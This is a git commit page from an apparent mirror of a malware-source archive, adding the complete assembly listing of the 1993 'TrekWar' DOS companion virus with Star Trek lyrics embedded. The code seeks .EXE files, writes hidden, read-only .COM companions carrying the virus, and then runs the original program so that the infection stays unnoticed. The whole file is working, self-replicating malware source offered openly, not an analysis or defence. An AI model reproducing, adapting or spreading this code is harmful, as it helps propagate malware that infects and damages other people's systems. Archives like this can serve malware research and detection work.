mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,185 @@
|
||||
;TREKWAR virus - we were overjoyed at Crypt Newsletter when Goose showed
|
||||
;us his update of CloneWar, TrekWar. Alert readers will remember ACME,
|
||||
;the musical companion based on ZENO, a relative of CloneWar.
|
||||
;So here it is!
|
||||
;TrekWar
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Assembly Source Listing for TrekWar Companion Virus ³
|
||||
;³ Copyright (c) 1993 T.R.E.K. All Rights Reserved. :) ³
|
||||
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
||||
;³ The TrekWar is a simple modification of the Clonewar V2 companion virus; ³
|
||||
;³ for all you trekkers out there... For those of you who, heaven forbid, do ³
|
||||
;³ not know what the words below mean, they are the words to the old series ³
|
||||
;³ opening music of Star Trek... ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
CSEG SEGMENT
|
||||
ASSUME CS:CSEG,DS:NOTHING
|
||||
|
||||
ORG 100H
|
||||
|
||||
START:
|
||||
jmp VIR_BEGIN ;lets get moving...
|
||||
|
||||
db "",13,10
|
||||
db "",13,10
|
||||
db "Beyond",13,10 ;blah blah blah
|
||||
db "The rim of the star-light",13,10
|
||||
db "My love",13,10
|
||||
db "Is wand'ring in star-flight",13,10
|
||||
db "I know",13,10
|
||||
db "He'll find in star-clustered reaches",13,10
|
||||
db "Love",13,10
|
||||
db "Strange love a star woman teaches.",13,10
|
||||
db "I know",13,10
|
||||
db "His journey ends never",13,10
|
||||
db "His star trek",13,10
|
||||
db "Will go on forever.",13,10
|
||||
db "But tell him",13,10
|
||||
db "While he wanders his starry sea",13,10
|
||||
db "Remember, remember me."
|
||||
db "",13,10
|
||||
db "",13,10
|
||||
|
||||
db "[TrekWar] " ;what the heck, its only a few bytes!?
|
||||
WILDCARD DB "*.EXE",0
|
||||
FILE_EXT DB "COM",0
|
||||
FILE_FOUND DB 12 DUP(' '), 0
|
||||
FILE_CREATE DB 12 DUP(' '), 0
|
||||
SEARCH_ATTRIB DW 17H
|
||||
NUM_INFECT DW 0
|
||||
|
||||
|
||||
My_Cmd:
|
||||
CMD_LEN DB 13
|
||||
FILE_CLONE DB 12 DUP (' '), 0
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Read all the directory filenames and store as records in buffer.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
Vir_begin:
|
||||
|
||||
mov sp,offset STACK_HERE ;move stack down
|
||||
mov bx,sp
|
||||
add bx,15
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
mov ah,4ah ;deallocate rest of memory
|
||||
int 21h
|
||||
|
||||
mov di,OFFSET FILE_CLONE ;Point to buffer.
|
||||
mov si,OFFSET FILE_FOUND
|
||||
mov cx,12
|
||||
rep movsb
|
||||
|
||||
Read_dir: mov dx,OFFSET WILDCARD ;file mask for directory search
|
||||
mov cx,SEARCH_ATTRIB
|
||||
|
||||
mov ah,4Eh ;find first matching file
|
||||
int 21h
|
||||
|
||||
jc EXIT ;If empty directory, exit
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
Store_name:
|
||||
|
||||
mov di,OFFSET FILE_FOUND ;Point to buffer.
|
||||
mov si,158 ;stow the file found in buffer
|
||||
mov cx,12
|
||||
rep movsb
|
||||
|
||||
mov di,OFFSET FILE_CREATE ;Point to buffer.
|
||||
mov si,158
|
||||
mov cx,12
|
||||
rep movsb
|
||||
|
||||
cld
|
||||
mov di,OFFSET FILE_CREATE
|
||||
mov al,'.'
|
||||
mov cx,9
|
||||
repne scasb ;find the '.'
|
||||
|
||||
mov si,OFFSET FILE_EXT
|
||||
mov cx,3
|
||||
rep movsb ;replace the .EXE with .COM
|
||||
;from buffer
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
Check_file: ;does the file exist?
|
||||
mov dx,OFFSET FILE_CREATE
|
||||
xor cx,cx
|
||||
mov ax,3d00h ;Open file, read only
|
||||
int 21h
|
||||
jnc find_next
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
Infect_file: ;create companion routine
|
||||
|
||||
mov dx,OFFSET FILE_CREATE ;contains name of "companion"
|
||||
xor cx,cx
|
||||
mov ah,3ch ;construct file
|
||||
int 21h
|
||||
jc EXIT
|
||||
|
||||
;Write virus to companion file
|
||||
xchg bx,ax
|
||||
mov cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length
|
||||
mov dx,OFFSET START
|
||||
mov ah,40h ;write to file function
|
||||
int 21h ;do it
|
||||
|
||||
;Close file
|
||||
mov ah,3eh ;assumes bx still has file handle
|
||||
int 21h
|
||||
|
||||
;Change attributes
|
||||
mov dx,OFFSET FILE_CREATE ;of created file to
|
||||
mov cx,3 ;(1) read only and (2) hidden
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
jmp prepare_command
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;...findnext...
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
find_next:
|
||||
mov ah, 4fh ;find next...
|
||||
int 21h
|
||||
jmp store_name
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
Prepare_command:
|
||||
|
||||
cld
|
||||
mov di,OFFSET FILE_CLONE
|
||||
mov al,0
|
||||
mov cx,12
|
||||
repne scasb ;find the end of string \0
|
||||
|
||||
mov al,0Dh ;<CR>
|
||||
stosb ;replace \0 with a <CR>
|
||||
|
||||
mov ax,12 ;store length of the command
|
||||
sub ax,cx
|
||||
mov CMD_LEN, al
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
Exit:
|
||||
;Run the original program
|
||||
mov si, OFFSET MY_CMD
|
||||
int 2Eh ;Pass command to command
|
||||
;interpreter for execution
|
||||
mov ax,4C00H ;Exit to DOS
|
||||
int 21h
|
||||
|
||||
|
||||
END_OF_CODE = $
|
||||
|
||||
STACK_HERE EQU END_OF_CODE + 512
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
||||
|
||||
Reference in New Issue
Block a user